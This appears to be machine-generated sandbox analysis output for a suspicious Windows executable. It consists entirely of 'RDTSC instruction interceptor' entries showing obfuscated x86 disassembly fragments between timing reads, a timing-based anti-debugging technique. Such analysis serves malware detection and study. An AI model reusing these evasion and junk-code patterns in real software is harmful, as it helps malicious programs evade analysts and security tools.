Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 39F2CA second address: 39EB57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 stc 0x00000009 push dword ptr [ebp+122D11C5h] 0x0000000f jmp 00007FDD24CC6352h 0x00000014 call dword ptr [ebp+122D1EF9h] 0x0000001a pushad 0x0000001b pushad 0x0000001c mov dword ptr [ebp+122D330Ah], eax 0x00000022 xor eax, 3DEDED57h 0x00000028 popad 0x00000029 xor eax, eax 0x0000002b mov dword ptr [ebp+122D1EA6h], esi 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007FDD24CC634Ch 0x0000003a mov dword ptr [ebp+122D2CF8h], eax 0x00000040 clc 0x00000041 mov esi, 0000003Ch 0x00000046 jmp 00007FDD24CC634Dh 0x0000004b add esi, dword ptr [esp+24h] 0x0000004f mov dword ptr [ebp+122D1EDDh], ecx 0x00000055 mov dword ptr [ebp+122D2B73h], edx 0x0000005b lodsw 0x0000005d pushad 0x0000005e jl 00007FDD24CC634Ch 0x00000064 or dword ptr [ebp+122D1EA6h], ebx 0x0000006a mov esi, dword ptr [ebp+122D2DB0h] 0x00000070 popad 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 mov dword ptr [ebp+122D2B92h], eax 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f cmc 0x00000080 nop 0x00000081 pushad 0x00000082 jnp 00007FDD24CC6348h 0x00000088 push eax 0x00000089 push edx 0x0000008a push edx 0x0000008b pop edx 0x0000008c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 504C5A second address: 504C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5167E6 second address: 5167F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jnl 00007FDD24CC6346h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5167F7 second address: 516801 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDD2537F15Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516801 second address: 51685D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FDD24CC6348h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007FDD24CC6348h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d mov esi, dword ptr [ebp+122D2CF4h] 0x00000043 call 00007FDD24CC6349h 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d pop eax 0x0000004e rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 51685D second address: 516863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516953 second address: 516959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516959 second address: 5169A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 0F0FF27Ah 0x0000000d call 00007FDD2537F164h 0x00000012 jmp 00007FDD2537F162h 0x00000017 pop esi 0x00000018 sbb di, 3F37h 0x0000001d lea ebx, dword ptr [ebp+1244B6D1h] 0x00000023 mov ch, bl 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push edx 0x00000029 jg 00007FDD2537F156h 0x0000002f pop edx 0x00000030 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516A13 second address: 516A8F instructions: 0x00000000 rdtsc 0x00000002 js 00007FDD24CC634Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov si, ax 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FDD24CC6348h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c jnl 00007FDD24CC634Bh 0x00000032 call 00007FDD24CC6349h 0x00000037 jmp 00007FDD24CC6354h 0x0000003c push eax 0x0000003d jmp 00007FDD24CC6354h 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516A8F second address: 516AA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516AA0 second address: 516B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC634Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FDD24CC634Ch 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jp 00007FDD24CC634Eh 0x0000001a push ecx 0x0000001b jne 00007FDD24CC6346h 0x00000021 pop ecx 0x00000022 pop eax 0x00000023 mov dword ptr [ebp+122D2A22h], ecx 0x00000029 push 00000003h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FDD24CC6348h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 push 00000003h 0x00000049 mov edi, dword ptr [ebp+122D1EB4h] 0x0000004f call 00007FDD24CC6349h 0x00000054 push esi 0x00000055 push eax 0x00000056 push edx 0x00000057 push edx 0x00000058 pop edx 0x00000059 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516B10 second address: 516B38 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD2537F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jmp 00007FDD2537F15Eh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FDD2537F158h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516B38 second address: 516B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FDD24CC6346h 0x00000009 jns 00007FDD24CC6346h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr [eax] 0x00000014 push ecx 0x00000015 pushad 0x00000016 jno 00007FDD24CC6346h 0x0000001c jne 00007FDD24CC6346h 0x00000022 popad 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 jc 00007FDD24CC6352h 0x0000002e js 00007FDD24CC634Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516B6E second address: 516BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push 00000000h 0x00000007 push eax 0x00000008 call 00007FDD2537F158h 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 add dword ptr [esp+04h], 00000016h 0x0000001a inc eax 0x0000001b push eax 0x0000001c ret 0x0000001d pop eax 0x0000001e ret 0x0000001f lea ebx, dword ptr [ebp+1244B6DAh] 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007FDD2537F158h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 00000015h 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f mov edi, dword ptr [ebp+122D1D2Ch] 0x00000045 jmp 00007FDD2537F165h 0x0000004a mov ecx, edx 0x0000004c xchg eax, ebx 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FDD2537F15Ch 0x00000055 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 516C91 second address: 516C96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 536DB0 second address: 536DFA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDD2537F16Ch 0x00000008 jg 00007FDD2537F156h 0x0000000e jmp 00007FDD2537F160h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FDD2537F167h 0x0000001c jmp 00007FDD2537F161h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 509C9E second address: 509CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 534DF6 second address: 534DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 534F7E second address: 534FA0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDD24CC635Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 534FA0 second address: 534FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F15Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53526A second address: 5352AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6358h 0x00000007 jmp 00007FDD24CC634Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDD24CC6351h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5352AA second address: 5352AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5355BA second address: 5355BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535AEB second address: 535AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 52DDE0 second address: 52DDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDD24CC6346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 52DDEC second address: 52DDF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535F1C second address: 535F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDD24CC6346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535F28 second address: 535F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535F2F second address: 535F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD24CC6353h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535F48 second address: 535F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535F4C second address: 535F66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6356h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 535F66 second address: 535F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FDD2537F156h 0x0000000d jmp 00007FDD2537F164h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 536515 second address: 536528 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDD24CC6346h 0x00000008 jnc 00007FDD24CC6346h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 536673 second address: 53668B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FDD2537F15Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53668B second address: 53668F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53668F second address: 5366B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDD2537F15Eh 0x0000000d popad 0x0000000e jc 00007FDD2537F170h 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007FDD2537F156h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5366B6 second address: 5366BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5366BA second address: 5366C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 536803 second address: 53680F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDD24CC6346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53697A second address: 53698F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD2537F158h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d ja 00007FDD2537F16Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53698F second address: 5369A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD24CC634Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5369A6 second address: 5369AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5369AC second address: 5369B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5369B0 second address: 5369BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F15Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 536C3A second address: 536C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 536C43 second address: 536C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDD2537F156h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 539D01 second address: 539D0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 539D0A second address: 539D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 539D13 second address: 539D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 501634 second address: 50163A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53EB93 second address: 53EB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53F1BC second address: 53F1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edi 0x00000007 pushad 0x00000008 jns 00007FDD2537F156h 0x0000000e jl 00007FDD2537F156h 0x00000014 popad 0x00000015 pop edi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53F1DB second address: 53F1EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53F1EA second address: 53F1F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53F1F0 second address: 53F1F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53F1F5 second address: 53F1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53E219 second address: 53E226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FDD24CC6346h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 53E226 second address: 53E22A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 543492 second address: 5434A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDD24CC6346h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 542C77 second address: 542C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD2537F15Bh 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 542C8B second address: 542C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 542C91 second address: 542CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FDD2537F156h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 542CA0 second address: 542CC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007FDD24CC6346h 0x0000000f jc 00007FDD24CC6346h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007FDD24CC634Ah 0x0000001f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 542CC4 second address: 542CE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F161h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007FDD2537F156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54313D second address: 543143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 543143 second address: 54318F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD2537F166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FDD2537F168h 0x0000000f jmp 00007FDD2537F162h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jng 00007FDD2537F16Fh 0x0000001c jmp 00007FDD2537F15Fh 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 546822 second address: 546826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 546826 second address: 54682A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 546E79 second address: 546E96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD24CC6353h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 546E96 second address: 546E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5473E8 second address: 54740C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDD24CC6346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FDD24CC6356h 0x00000014 jmp 00007FDD24CC6350h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 547801 second address: 54781E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FDD2537F161h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 54781E second address: 547822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 5478D5 second address: 547942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDD2537F15Ch 0x00000008 jmp 00007FDD2537F164h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 je 00007FDD2537F15Ch 0x00000017 or dword ptr [ebp+1245D58Bh], edx 0x0000001d xchg eax, ebx 0x0000001e ja 00007FDD2537F180h 0x00000024 push eax 0x00000025 pushad 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 pop edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 547E08 second address: 547E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGDBFCGIIIJ.exe	RDTSC instruction interceptor: First address: 547E0C second address: 547E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
